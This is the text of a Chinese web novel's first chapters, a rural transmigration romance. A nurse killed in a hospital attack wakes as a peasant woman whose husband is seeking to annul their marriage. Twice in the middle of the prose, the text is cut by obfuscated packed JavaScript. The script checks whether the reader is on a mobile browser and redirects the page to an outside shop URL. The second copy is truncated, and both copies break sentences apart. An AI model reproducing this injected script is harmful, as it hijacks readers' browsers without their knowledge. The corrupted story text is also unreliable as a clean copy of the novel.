《再嫁(种田)》 1. 第 1 章 有人给她灌了一勺温水。 嗓子正干得冒烟儿,一勺水怎么够? 海棠立刻凭着本能,伸出手去空中乱抓。 “海棠,你醒了?!啊呀,谢天谢天!谢谢观世音菩萨显灵,南无阿弥陀佛!”一个惊喜的女人声音,有些粗,有些老。 与此同时她好似捉到了一只碗,顿时一把紧紧抓住,抬头张嘴就去喝。 动作大,碗里的水荡了出来,沿着她的嘴角,一路流经下巴、脖子,最后滑到耳朵背后,消失在枕头上。 “哎呀!”那老妇人惊呼道,“慌啥嘛?又少不了你的。看,把枕头被子都打湿了!” 她眼没睁开,捉着碗不放手。惊呼的人无奈,松了碗,想去扶她起身,只她不管不顾捉着水碗就猛喝了一大口,顿给呛着了,咳得凶,脸色胀得通红。 水碗被大力抢走了。 然后有只手穿到她脑袋下面托住她后脖子,动作利落地把她扶坐了起来,啪啪啪,照着她的后背就是一通猛拍。 那巴掌很厚实,力度也不小,像在砸,把她拍得胸口疼,但到底呛咳得没那么凶了,慢慢缓了过来。 后背的手撤开了,来到她嘴上快速抹了两下,几把抹干净了挂在她嘴角和下巴上的水渍。那手还想给她擦拭脖子和耳朵上的水,她闭着眼扭头躲避。 那只手不是一般的粗糙,刮得她皮肤疼,不想让它再碰自己。 水碗重新抵到了她唇边,那个粗老的女人声音说:“别急,慢慢喝,小心别再呛着了。” 海棠赶忙又伸手去捉住了水碗。 指腹在碗壁上轻轻抚了抚,硬硬的手感和温温的感觉,很惊诧,这太真实了,不应该啊。但她现在渴得不行,埋头就咕咚咕咚一气喝了个底朝天。 碗再度被拿走,一双手捉着她的肩膀把她放倒在枕头上。嘴上又被那只粗粝的手抹了两把。海棠始料未及,没躲开,不舒服地蹙了蹙眉。好在那手没再给她擦嘴了。 解了渴,意识更加清晰了。 但是眼皮儿还是有点沉,不大睁得开。 然后她听见那妇人絮絮说:“你先睡会儿,我去给你弄点吃的。两天没吃东西了,醒了肯定会觉着饿。哎,你爹那个砍脑壳的怎下这狠的手?差点把你打死。我们娘俩儿上辈子一定是作了孽,才叫我们今生要吃尽苦头。”跟着是几声低泣。 海棠心里好笑。 这妇人说得跟真的似的。 她都死了,还吃什么东西? 可这妇人又是谁?怎说她和自己是娘俩儿?这会儿老妈应该在自己的坟前哭丧了吧。 过了会儿,耳听见悉悉索索的声音,似乎是那妇人在收拾水碗,下了地。然后脚步声响,还有关房门的声音,周围安静下来。 太静了,静得她有些害怕。 好像昨天经历的那些只是一场噩梦,而现在才是现实。这是不对的。 可是,先前一番折腾,听觉、触觉、嗅觉,一切的感觉都跟真的似的。好奇怪,怎么会有这么真实的梦境? 海棠努力地缓缓张开眼来。 她躺在一张床上。 床上挂了蚊帐。她看清楚头顶上不知什么布料的蚊帐那颜色难以言喻,发黄发黑,暗沉沉的,是多久没洗了?隐约她还闻到了一股不知从床上哪里散发出来的汗臭味儿。 屋内光线昏暗,没有灯光。 现在似乎是大白天,床对面有透进来大片发白的光线。 海棠扭头看去。 对面是一堵泥墙,墙上嵌着很大一扇木格子窗。窗格只有麻将块般大小。外面的天光就是从这些窗格子透进来的。木格窗灰尘扑扑,像是好久都没打扫过。这会儿似乎是上午,有细碎的阳光从窗格子那些四方形的空洞斜着照射进来,光斑最后都落在朽旧的窄窄的木窗台上。柔和的光影中,她甚至能看见不少窗格子上蒙着小小的蜘蛛网。 海棠皱着眉头努力撑起身体探看室内。这一看,眉头越蹙越深。 泥墙泥地,床头一张木质斗柜,暗沉的灰色,说明很有些年头了。一张木质圆凳摆在床前,已经包浆了,表面油亮发黑。 再没了别的家具。 她抬头看看天花板,木梁灰瓦,跟窗子一样灰尘仆仆的,还吊着不少蜘蛛网。另外,房梁上甚至还吊着五六块黢黑的腊肉! 这绝不是在梦里啊。 梦里不会有阳光。 这也绝不是自己那个世界的卧室。她从没见过这样小而穷酸的房间。 虽然她是小县城出身的人,她和老妈那个家虽然也不大,但好歹是商品房,瓷砖地板粉白墙,窗明几净,收拾得整洁又温馨。而她家乡下的亲戚也没见过住这样屋子的,人家住的都是小二层的乡村别墅。 海棠倒下去,躺在枕头上大口喘气——这分明是活人的感觉。那么她在哪儿? 竖耳细听,没有汽车烦躁的鸣叫,也没有嘈杂的手机铃声和短视频的声音。那么她是在梦里?人死了还能做梦吗?或者说人死后的感觉就如在梦里? 可是喉咙干得冒烟的感觉没有了,她甚至还能在嘴里舔到湿润的滋味。还有那个妇人给她拍背、擦拭嘴角水迹,痛的,温的,臭的,一切都那么真实啊。 海棠闭上眼睛。 深深明白自己是死了的,真是死了。她短短的二十四年的人生,定格在中医院一楼大堂冰冷的地板上。 不必伤心,死都死了。 海棠自我催眠着,安心地闭着眼睛等着自己被分配去往天堂或者去往地狱的那一刻。 胡思乱想着。 来的会是天使还是黑白无常?哦,应该是无常。天使是外国的。那么来的是黑无常还是白无常?……哎对了,我们娘俩儿?那妇人好像这么说过。但她怎可能是自己妈?还有爹!这梦里那个老妇人好像还提到了她爹。 但她可没什么爹! 老妈讲,怀她的时候,那个男人管不住下半身,跟个摆水果摊的风流寡妇搅合在一起。老妈是个要强的,她还没出生,就把她那物理学上的父亲蹬了。 妈妈在男人身上吃过亏,后来就总教育她要现实,“男人都靠不住,只能当踏脚板。一切以自己过得好为原则,该甩就甩,该抢就抢。” 她把老妈的话奉为圭臬。 只是,呵,精明了二十四年,最后却被个恋爱脑弄死。老妈,你在坟前肯定对着我的遗像,把墓碑都骂得狗血淋头了吧。 海棠苦笑着回首自己短暂的一生。 她继承了妈妈漂亮精明的优点和她浅薄的价值观。 青少年时期她看韩剧,很喜欢穿白大褂的医生男主,于是立志将来找个医生男朋友,以后再发展成丈夫。医生赚钱多,以后老公赚的钱她都捏在自己手里买买买。她负责美,老公就负责赚钱养家给她买买买。 但她学习成绩不好,那会儿都忙着谈恋爱去了。没办法嘛,长得太漂亮了,太能招男孩子喜欢了,她不恋爱完全说不过去啊。反正将来她会凭借美貌找个医生老公养自己一辈子,这么努力干嘛? 所以她傅海棠就是这么样一个人——自认为精明又漂亮,是个心机girl。因为成绩不好没考上医学院,勉强上了个卫校。就是这样的条件,还一心想去大医院当护士,找个医生老公躺赢一辈子的主。 但是老妈支持啊,大赞她这想法好,“男人找的钱都是给女人用的。女人只要漂亮就好了,成绩好顶屁用!” 只是她和妈妈这么想的时候,却忽略了男人也有自己的想法。 靠着老妈施展半老徐娘的魅力找了个秃顶二婚老公,在继父的运作下,她从卫校毕业进了县中医院当护士。 中医院里事业有成还年轻英俊的男人绝对是凤毛麟角的存在。但医院里又不乏大把年轻漂亮的护士妹子,人人都存着找个大夫当老公的心思,那必然就僧多粥少了。男人被众星捧月,人家就不免飘啊,人家想要的已经是左拥右抱的帝王生活了。海棠想退出。她可没兴趣为了男人争风吃醋。从来都是男人为她吃醋的。偏人家还不让,缠着她不放手。另一个被骗了感情还骗了身子的小护士怀上了,正以此逼婚,男人干脆抛弃了她,对妹子说心里只有她傅海棠一个。护士妹子恋爱脑,不怪男人,只把自己的不幸全都怪在了她身上。 海棠记得那天……不,事情分明就发生在昨天……昨天早上,她刚上班,正在准备室里整理要给病人输液换药的东西。护士妹子发了疯一样闯进来,用把手术刀比在她的脖子上,一路拖着她往走廊里去,口中大喊大叫着那渣男的名字,“XX你出来,你当着大家的面说清楚,你是要我还是要她!” 男人自然没出现。 海棠也是没料到人疯狂起来,那爆发力有多大。 她比那妹子还高了半个头,竟给她一把手术刀比在脖子上半点不敢动弹。她说怎么做她就只能怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053662|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么做。 护士妹子一遍遍喊着渣男的名字,眼神儿已经疯狂了,双目赤红,抖着手把手术刀翻了个面,她脖子上立刻就给划出了一条血痕。她惊恐得只得跟着对方后退,背已抵着栏杆,退无可退时,她努力把脑袋往后仰去,想着离刀刃远点。 “XX,你出来啊!你出来把话说清楚!我给你十秒钟的时间。如果你不出来,你两个女人都得不到!我开始数了,你听见没?10、9、8、……” 尖叫,呼喊,跑动,捂脸捂嘴捂眼睛。 最后一秒男人也没出现,疯女人扔了刀,发狠地一揽她的脖子禁锢住她,然后毫不犹豫地从三层楼上跳了下去,嘭嘭两下,先后砸在一楼大厅里,脑袋先着的地…… 什么人在剥剥地敲着门。 海棠无动于衷。 直到听到房门吱嘎一声被推开了,她一惊,瞬间弹坐而起。 一个着藏青色粗布衣裤的老妪端着个土碗跨进屋来,见她睁着眼睛,木呆呆地坐在床上望着门口,顿时脸上一喜,“海棠,你终于醒了!” 这个声音,她熟悉得不能再熟悉。 原来这老妪就是她梦里那个又粗又老的声音的主人,她给她喂水擦嘴,对着她哭…… 海棠眨眨眼,视线扫过老妇人的全身,“您——” 老妪脚快,已经坐到床沿来。 靠得近了,海棠隐隐闻到她身上一股形容不出的怪味儿,跟她身下的床上一样,眼睛不由自主朝老妇人身上多看了几眼。 老妪精瘦、个小,巴掌大一个脸。上身是一件绣了花边的斜襟衣裳,半高领,锁着脖子,盘扣。头发是挽起来的,在后脑勺简单的挽了个髻子。发质粗糙,有些油,间杂不少白头发。她坐上床沿,双脚都吊在了半空。提起来的脚上踩着一双黑色布鞋,没穿袜子,鞋面脏污不堪,鞋底还粘着明显的草木灰。 “饿了吧?快把这碗粥喝了。”老妪将一个褐色的土碗递过来。 泛腾着热气的米香登时扑面而来,勾得海棠大大地吞了口口水。 她的视线拉回来看向碗中,其实清汤寡水的,但是乳白色的米汤,怎也抑制不住那扑鼻的香味儿让她直咽口水。肚子好像应和似的,这时候咕噜咕噜直叫唤。 她不是矫情的,立刻把两只手都伸了过去捧住碗,勺子也不用,三两下便把一碗稀饭喝了个精光。连碗底都舔了两下。 只,心里则搅起了巨浪。 这餍足的感觉,实在不能太真实了。 莫非自己死后还魂了?难道这就是借尸还魂后的新家和亲娘? 想到这老妪可能是自己现在的便宜娘,海棠偷偷的抬起眼皮儿,直不楞登的把老妪看着。 老妇人一张饱经沧桑的脸,褐色面皮,眉头额角的皱纹都很深,看着至少有五十多岁了,只完全看不出她年轻时候是否是个美人。海棠开始担心,自己借这个身体,会不会把引以为傲的美貌作没了…… 不想目光被老妪捉了个正着。 她慈爱地伸手将她额前的乱发不甚温柔的一把拂开,还卡在她耳朵上,笑道:“你总看娘做什么?像不认识了似的。烧糊涂啦?”说完还真担心起来,褐色的脸皮皱成一团。伸手就贴在海棠的额头上,然后又摸了摸了她自己的额头,摇着头说:“不烧呀,怎么人一副迷糊样儿……嗯,定是睡得久了,还没清醒。”老妪自言自语地自我安慰着,重展笑颜。 看碗空了,她接过碗溜下床就要走,海棠巴巴地看着她。 提脚就要走,像才想起似的,问她:“吃饱了没?” 海棠立刻把头摇得像拔浪鼓。 老妪呵呵笑起来,“看来真是饿得很了。我再给你添一碗来,一定要吃饱些。” 海棠忙道:“要稠点。”说完后发现自己口吻就像在家里跟自己老妈撒娇似的,顿时有些莫名担心,把老妪的脸色紧盯着。 不想那老妪哎的答应了一声,仍旧笑呵呵。 哎,她还真的是自己的老娘了?? “啊对了,”老妪走到门口的时候,回过身来道:“忘了给你说,你丈夫来了。虽然他还没把话明白地说出来,但我们听他意思是来退婚的。你爹正在跟他交涉。等事情谈妥了,打消了你丈夫退婚的念头,我来叫你你再出来啊。这婚若是退了,那彩礼自然也是要给人退回去的。为这事儿,这会子你爹正恼你恼得不行,他压着一肚子火正愁没处发泄呢。” 2. 第 2 章 老妪一走,海棠立刻翻身下床。 光着脚板儿踩在泥地上,地面不平,硌脚,还有些阴冷,忙弯腰下去瞪大了眼睛找了找。 很快她就在床底下找到一双红色绣花鞋。海棠把脚囫囵套进去,大小正合适。 抬起脚瞅了瞅。 布鞋,红色鞋面白鞋底,已经脏污得不成样子了。但是鞋面上绣着的鸳鸯花卉纹,仍很清晰显眼。 这是典型的古代女子出嫁时才会穿的绣花鞋。 然后她拖着两条有些僵硬的腿挪到了木格子窗边,凑近了努力往外看。 外面是个大院子。天然片石铺成的地坝,很潦草,地坝不平,一些地方有积水,石头缝里都是野草,边角处长满了青苔。右手边堆着几个一人高的谷草垛,草垛下几只芦花鸡慢条斯理踱着方步,在草垛里这里啄一下那里啄一嘴找虫吃。还有一只鸡,正跟条大黄狗在院子里追逐玩耍。再远处的地坝边,摆着一个长方形的大石槽,里面半槽子红苕浸泡在水里。石槽旁边倒着一只烂背篓,还有两个大木桶和一根竹扁担。地面湿漉漉的,想来是谁原本准备要在这里洗红苕的。 没看到什么人。 但这也足够了。 这绝不是在城里,乡旮旯才会有这么接地气的院坝,才会养鸡、养大黄狗。 海棠吃了一惊,不知自己到底身在何处,她此刻又是谁。 回身环顾屋内,这才瞧到床头那张柜子上靠墙立着一个圆形的金属东西,正反射着白光。 她扑过去拿起来一看,原来是一面巴掌大的铜镜。镜面打磨得很光滑,能照出人影子。 她慌忙拿着镜子重又走到窗边,借着外面的天光努力揽境自照。 只见镜子里一张秀美的瓜子脸,小巧的翘鼻头,白肤,杏眼,樱桃小嘴儿配嫣红的唇,不是她傅海棠是谁? 海棠长松了口气。 再看镜中人,她脸色憔悴,双目无神,一个歪斜的古代妇人才会挽的发髻松松垮垮的缀在脑袋上,散落的几缕长发黏在颊边——这人分明就是自己,可又好似不是自己。 海棠低头看看身上,布衣荆裙,绣花鞋。 看来不是借尸还魂,她有种穿越到异世界的强烈感觉。 海棠有些懵然了,未知的世界陌生的家,她以后的日子该怎么过? 抬眼看看这个又昏暗又穷酸的卧室,眨下眼,她好似又看见了自己死时的那一幕:一楼大厅中央,她安静地躺在一滩血泊里无知无觉,周围拥着许多看热闹的病人和家属。旁边还有个穿粉色护士服的女孩儿,比她还年轻,仰躺在地呆望着四层楼顶上的玻璃天窗,阳光自天窗射下来,她的肚腹微微隆起,身下,艳红一滩…… 呼吸开始急促起来。 海棠忍不住伸手摸摸脸、摸摸后脑勺,都无恙。没有纱布,没有针管,也没有牵着输液的塑料长管…… 忽听得吱嘎的一声,惊得她身体狠狠打了个颤。 是那道陈旧的破门板,自外向内被推开了。 那老妪去而复返,进屋后随手关了房门,抬头一见她下了床还站在窗边木呆呆地立着,倒愣了下,“你在看什么?——快来趁热吃。不是饿得很了吗?”也不等她回答,朝她一招手催促道。 仍是满满一大碗米粥,浓稠有度。这次老妇人还拿了一个馒头来,一起搁在床头的那张木柜子上。 “吃慢点,别噎着。”老妪叮嘱道。 因先已喝了一碗米粥垫了个底,海棠不再狼吞虎咽,她细细啃着馒头,就着一大碗喷香的米粥坐在床沿上慢慢地吃。 她偷觑老妪。 对方挨着她坐在床沿上,侧头看着她的眼里满是慈爱。又不时伸手,把她掉落在脸颊旁的长头发夹在耳朵背后,冲她怜爱地笑一下。 海棠仍有些不可置信,自己真是这老妇人的女儿?还都叫海棠?? 想了下,她试着轻喊了声:“娘——” “诶!”陈氏动情地回应道,眼眶迅速泛红,涌出泪意。 “……”海棠心情复杂,看老妪的眼泪花花开始往外流,忙搁下碗,捉着陈氏的手讪讪地安抚道:“娘,你,你别哭啊。我好好的,你还哭什么呀?” 喊了第一声,第二声再喊娘已经不那么尴尬。 海棠又连喊几声,学着老妪之前给自己拍打后背的样子,轻轻拍打陈氏的后背,“娘,别哭了,看你,有啥好哭的嘛?” “你醒倒是终于醒了,叫娘心头的大石头落了地。可是,现在这局面要咋整?你以后要怎么办呢?娘哭,那是为你下半辈子焦心呐。” 陈氏捉着袖子抹泪,就此打开了话匣子。 海棠想知道的,不需要想法子套话,统统都知道了。 “……你这孩子也不知道咋回事,成亲之前,人家媒人都给我们说清楚了的呀,当时也是你自己点头同意了的,还说男方家里穷就穷点,只要人家愿意娶你做正室就行。你自己说,你当时是不是这么说的?那你还跑回娘家来干嘛?” “也不知道你出了啥事儿,我和你爹问你为什么要跑,你打死也不说话,整个人只跟丢了魂儿似的。” “你都是再嫁的人了,又不是大姑娘上轿子头一回,入洞房难道还怕吗?新婚当晚你跑掉,这这……嗐!随便哪个,就是再穷再烂的人家,也受不了新妇洞房夜跑掉的耻辱吧?现在人家找上门来要说法,也是该他的。” “还好你夫家人老实,可能也不想事情闹大了双方都难堪,他家只来了他一个人讨说法。要是那些豪横的人家,来一大堆亲戚,准得先把咱家砸一遍再谈事情!” “你爹打你,你也不要生他的气。一来,他也是给你气狠了。二来,打你,也是做给你婆家人看的。好叫他们不再打你,叫他们看看我们傅家不是没家法没教养才教出你这样的女儿来。我们也是有家规的,做错了事情都要打。我们教训过你了,你若还能回婆家去,那头也会给你少点苦头吃。” “哎,你爹用心良苦啊。怕只怕,人家不想要你了。” …… 老妪絮絮叨叨,海棠静静听着,很快就把自己的现状和处境捋了个七八分明白。 她是这老太婆的女儿,无巧不成书,也叫傅海棠。 只是,她嫁人了,不是头婚,还是二婚。 只不知什么原因,兴许是男人在洞房里对她很粗暴还是怎么的,总之在新婚夜,她不管不顾地连夜跑回了娘家来。她在这里的便宜爹狠狠打了她一顿,打得她昏死过去,躺床上两天了,害得便宜娘担心得不行,直到现在她人才舒醒过来。 而她当初愿意嫁给现在这个丈夫的原因是,名声不好。 她有个心上人,但是那个心上人被抓壮丁抓走了,一去几年无音讯,熬大了她的年纪。再不能等了,家里就做主把她嫁给一个有钱人家的病秧子,可对方竟在洞房夜死了,从此她得了克夫之名。头婚丈夫一下葬,她就给婆家扫地出门了。娘家人也不能养她一辈子啊,待了一年,逐渐嫌弃她,本来打算上吊死的人,这时候竟然还有人愿意来聘她做媳妇儿,一家子立马答应了婚事。 听到这里,海棠不禁好笑,她还真跟洞房无缘呢。 前头一个丈夫,在入洞房的时候死了。后头一个,她在入洞房的时候,跑了。 “……你夫家虽然人口多,但是你丈夫那些兄弟都不 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直到有人暴喝了一句:“她就是死也得死在刀家!”海棠被惊吓得再度弹坐起来。 凝神听了听,貌似人就在隔壁说话。 她迅速溜下床,趿拉上绣花鞋,摸到门边竖耳细听。 啊哈,真的就在一墙之隔的外面说话呐! “哎呀贤婿,瞧你,什么傅老伯,听着多别扭!我是你岳丈这事儿这辈子都改不了了,快别再喊我傅老伯了,再喊我可就要生气了!……是是是,我和你岳母都明白的,一切都是海棠的错,那晚她跑回来时我们就狠狠教训过她了。我们要她回婆家以后遵从三从四德,孝敬婆母,跟丈夫举案齐眉,这些都教过她的。本来打算第二天就把人送回去,但是她病了,我和你岳母就想着让她在娘家养养身体也好,省得给你们添麻烦。不过你既然亲自来了,正好就把她接回去吧,她也将养得差不多了。这一趟,就算是你们两口子新婚之后的回门哈。” “她跑是跑了,但绝不是要退婚的意思。贤婿啊,我们也没瞒着你,她是嫁过一次的人,但是有个隐情你却可能还不知道。海棠前头那个,正是在新婚夜没了的。海棠可能是心里还有些阴影,所以才会在新婚之夜跑掉。” “她虽是二嫁,可前头那个,唉,不好讲,我们海棠也是冤得很呐。一些不知根底的乱传我们海棠克夫,实际前头那个她嫁过去后才知道那本来就是个病秧子,病得快要死掉的那种。我们上当受骗了,只怪媒婆当初把对方吹得天花乱坠,其实我女儿嫁过去就是冲喜的!” “当然,我们也有做得不好的地方,贪图人家给的彩礼高,倒把女儿坑害了。所以你看你这回,穷家薄业的,只给一头骡子当聘礼,我们就愿意把女儿嫁给你,可见我们是真心喜欢你这女婿的呀。也想要女儿过得好,有个男人真心疼她,其他的我们都不在乎了。” “你想想,冲喜,还能入洞房吗?肯定不能啊!所以,海棠其实还是个黄花大闺女哩,你小子可捡着大便宜喽。” …… 海棠听了半晌,只听见个老头儿说话,那嗓门儿又急又响,说话又快又强势,完全盖住了别的声音。她那个现任丈夫好似一直没吭气,海棠都开始怀疑老头子是不是在对着空气说话。 实在太好奇自己那个丈夫了,海棠忍不住去拉房门,想要看看那个据说来退婚的夫君是个什么样子。 老旧的木板门悄悄斜开一条两指宽的缝,她眼凑过去,正巧看到斜对面正襟危坐着一个脸膛微黑的青年,顿时愣住了。 嘿,男人是有的。 呵,看穿着,好像还是个少数民族。 3. 第 3 章 青年微微侧身,面北而坐。 着一套藏青色的粗布衣裤。上身是件绣花对襟短衣,下身一条宽大的筒裤,衣领、袖口、衣襟上以及裤脚处都有彩线绣着的简单的几何花纹。裤子还是九分的,露出了他粗壮的小腿肚。头上则包着一块黑色土布,包布尾巴垂了约莫五公分长的一截在左耳朵上,底端同样绣着有艳丽的刺绣花纹。另外他身上还斜跨着一个垂着彩线流苏的绣花布包,同样极具浓郁的民族风格。 视线往上,海棠再仔细去看男人的模样。 他有着比常人黑了几度的肤色,两条粗黑的眉毛,面孔俊朗,鼻梁端正。 人长得不错,挺周正的。 而且虽是坐着,但明显看得出来他长手长脚,至少有一米八的个儿。 只嘴唇抿得笔直,很严肃的样子。 老头儿一直在喋喋不休地讲,嗓门儿又大。海棠没再注意听老头儿说了啥,只品鉴一般紧盯着男人看,这时,发现他眉峰耸成了塔,忧愁得很的模样,身子动了下,开口:“傅老伯,我跟她……”声音醇厚,像风刮过初秋的落叶林,脆了的叶片哗哗的响,煞是好听。 “叫岳丈。你这孩子,怎么不听话?我还是你长辈不是?” “……岳丈,我跟她,我们,我们并未入洞房……可否,嗯,您只要把骡子还……” “没入洞房?谁能证明?哼,只要进了你家门,管它洞房入没入,人家都不当海棠是黄花大闺女看待了。哎,我们家海棠真是吃亏吃大发了!哈,我在想,肯定是你不懂怜香惜玉,入洞房的时候对她太凶狠了,她害怕,才跑了。” “不不,没,没有。岳丈,您要不信的话,那能不能让她出来……” “呸!你叫海棠出来干什么?让她一个黄花大闺女出来讲你跟她的房事怎么进行的?你还是男人吗?竟然叫她一个女人大谈怎么跟男人入的洞房。哈,我总算看出来了,你就是想败坏我家海棠的名声!” 老头儿胡搅蛮缠起来。 青年数度张口都被老头儿强势地打断,海棠看见他塌着肩膀,无奈地轻轻叹气。 直到老头儿说得口干,拿起桌上一只陶罐,对着壶嘴就大口喝起来,他赶忙张嘴快速道:“岳丈,我只想要回那头骡子。真的,咱们好聚好散,别的我都不会计较,您放心!” 海棠看他因终于说完了一番完整的话,大松了口气的模样,不觉好笑。 这男人太老实了。 老实人容易吃亏。 她看得有趣儿,不觉把房门推得更开些。 还稍稍探出头去看她那个便宜爹是个啥样子,这强词夺理的逻辑能力还挺强。 便见北墙下摆着一张八仙桌,墙上供着个神龛。桌旁面南,一站一坐着两个老年人。 站着的那个就是自己那便宜娘了,已见过。她手边椅子里端坐着个干瘦的老头儿,想来就是自己的便宜爹了。 二人倒是很有夫妻相,都长得一样的干瘪精瘦。 老头儿年纪也大了,额头皱纹纵横,但一双小眼睛显出了精明强干的样子,骨碌碌转来转去,喝水的时候一直把口中那贤婿偷觑着。 干巴老头儿不慌不忙灌了个饱后,手掌把嘴巴水渍一抹,陶罐重重地墩在桌上,手一挥,道:“贤婿,事情就这么结了,你不用再说了。这件事情不管谁对谁错,我们都不计较了。天不早了,你领着媳妇这就回去了吧。” 说罢,攘了把旁边站着伺候他的陈氏,“老太婆,海棠是不是醒了?我瞧你进进出出几趟,送吃送喝。去,把她叫起来,收拾收拾就跟贤婿回家去吧。” 这回青年急得站起了身,“岳丈,我——”话戛然而止,他突然朝海棠这边看过来。 海棠一直盯着他看,青年突然转过脸来,骤然四目相对,海棠愕了下,随即冲他嫣然一笑,以示友好。 不想,那男人却面无表情地把脸转开了。 海棠:“……” 看来人家很讨厌她啊,退婚的决心很大。 海棠爹娘自然注意到了女婿的异样表情,顺着他刚才的视线看了过来,这下都发现她现身了。 海棠见大家都在看自己,也不好再躲在屋里了,干脆拉开门走出去,大大方方地立着任几人随便看。 心里头琢磨着,还是要跟人打个招呼,不然显得自己多没教养。 海棠正打算先喊那干巴老头儿一声爹。这是头一回开口,早点喊,也好早点扫除尴尬。只才张口,那干巴老头儿突然起身冲过来。海棠只见头顶一团阴影,下一刻,一巴掌重重地打到她脸上,“看看你干的好事!” 变故陡生,海棠完全没有反应过来。 屋里其他两个人也没反应过来,陈氏后知后觉叫了声:“她爹,你干什么啊!”然后跑过来扶女儿。 对方下手就没留情,海棠直挺挺地挨了一巴掌,给打得扑到门板上后又跌在了地上。 这一巴掌,海棠是真切切地体会到了她那个便宜娘说得真没错,这便宜爹脾气真不是一般暴躁。 陈氏一边搀着女儿,一边骂丈夫心狠,弯着腰身,给海棠不住拍打她衣裙上的尘土。 海棠咬着牙扶着娘站起身来,想着这一巴掌就代原身还她爹娘的养育恩好了,她不计较。只是,脸上还传来火辣辣的疼呢,不想老头儿竟又再度高高举起了巴掌还要打她! 海棠余光瞥到那不远处的青年身子动了动,好似要来阻止。她大约明白了老头儿的用意。 其实她便宜老娘已给她打过预防针了——这老头儿是想做戏给她那个丈夫看。 那丈夫也是执拗,老头儿怎么哄劝他都不愿松口,非要退婚,老头儿现在是要施苦肉计。 但是,这得先问问我傅海棠同意不同意吧。 妈的,打在我脸上,出丑和痛的人都是我,你老头子倒是打得爽是不是?? 眼见那巴掌就要挥下来,海棠微偏头,同时眼神儿一厉:“你敢再打一个试试!” 这句话、这语气,她阴鸷的脸色,都犹如平地一声炸雷,把所有人都炸懵了。尤其是她那个便宜爹傅万山。 她站直身体后,比傅万山高了一个个头儿不止,居高临下,气势更足。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053664|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅万山着实给震慑住了,面色僵了僵,审时度势,高举的巴掌缩了回去,悻悻地往后退走,气息不稳道:“你,你……你这小贱蹄子若是不听话,老子还是会打!你个下贱货还能反了天了!” 又退了两步,结果一踉跄,狼狈地扑在了地上。 傅万山老脸通红地爬起来后,不意目光扫到青年,想是觉得大失面子,忽然拎起桌上那壶滚烫的茶水就要朝海棠砸过来,陈氏慌忙去抢,还用瘦弱的身体挡在她老头子跟前,狂叫道:“她爹,她爹,你别这样!别这样!把孩子烫残了可不得了!” 海棠秀眉皱起来,她本性就不是个乖乖女,正要张口冲老头儿不客气地哔哔几句,陈氏又扑过来一把抱住她的身子哭得像死了人,“海棠,海棠,我可怜的女儿呀,我们娘俩儿的命咋这么苦啊!干脆就让你爹把我们娘俩儿一块儿打死算了,下辈子都投个好胎,省得在他眼前碍着他了!” 海棠:“……” 低头看看扑在胸前的老太婆,一把鼻涕一把泪,哭得快要断气。 这感情不是假的。 海棠默默伸出双手将便宜娘搂住,轻声安抚:“娘,你别哭了,我没事。不过就一巴掌,我脸皮厚,不觉着疼。” 余光里,对面的青年已经按住了老头儿的手,把他手里的茶壶夺走了,搁得远远的。 这么看,海棠就觉得这来退婚的丈夫勉强还算个好人。 只是,都到这程度了,他也没说不退婚了的话,真是个油盐不进的家伙。 哎,一醒来就是个退婚局面,还被便宜爹当着夫君的面打,往后的日子难过啊。 海棠看看这一摊烂场。 她这个家,穷不说,爹娘都不靠谱。 看这个便宜娘,个头娇小,只到自己胸前,身板也瘦弱,只怕她都能轻松把这个娘撂倒。那个爹,也不壮,可面目狞恶。人家对方来退婚,先前还扬言说她死也要死在婆家。反正,这便宜爹是宁愿她死,也不愿退婚还人家彩礼的。娘懦弱没本事,只知道哭。 唯有那个青年,看着样貌可以,她不讨厌,好像也比较老实巴交好欺负。 至少在便宜爹娘的衬托下,这二婚夫君是可靠的。 很快的,海棠权衡好了利弊,她决定跟着“丈夫”回婆家稳妥些。 虽然他是来退婚的,但是若叫他打消了念头,好歹自己暂时就有了个安身立命之地。至于以后,先安身,再从长计议吧。 海棠把目前的现状捋清楚后打算直接跟丈夫谈判了。她轻轻推开还抱着她腰身的陈氏,朝青年抬了抬下巴,“你过来,我俩说说话。” 青年明显一愣,随后转头去看了下海棠爹。 可能觉得男人谈正事,女人不该掺和。 傅万山和陈氏也都愣住了,他们从没见过女儿这般气势。今日的海棠也数度让他们刮目相看。 倒是陈氏反应快,立刻说:“对对,你小两口儿单独说说话。海棠,你一定要好好跟莲生认个错啊。” 海棠于是知道了这男人叫莲生,姓刀。 刀莲生,她的男人,呵! 4. 第 4 章 海棠走到堂屋门口,立等着。 刀莲生犹豫了一下,跟了过来。 海棠转身,抬起头——唔,他怎么这么高?? 不止高大,离得近了,她这才发现这男人真是又高又壮,尤其是挨近后自己的视线平视过去只看到男人一堵墙似的胸。粗布衣服下,那胸膛鼓鼓的,宽阔又厚实。 这壮汉,自己在他跟前绝对是小鸟依人的存在了。 海棠暗自往后退了一步,不然仰头说话好累的。 男人察觉到了她的小动作,微微疑惑地瞟她一眼,然后微偏了头看着他处,目光飘忽。 海棠看他盯着某处在发怔,明目张胆打量他。 近距离看,感觉又不一样了。 这肤色,比小麦色更黑,绝对是久经日晒雨淋的肤色。刀削斧刻的俊脸浓眉,紧抿的薄唇,下颌线条粗犷而刚毅。最吸睛的竟是他的眼,黑漆漆的,很干净很纯,不掺一点杂质,纯得像湛蓝的天。他看着某处的时候,目光很安谧。 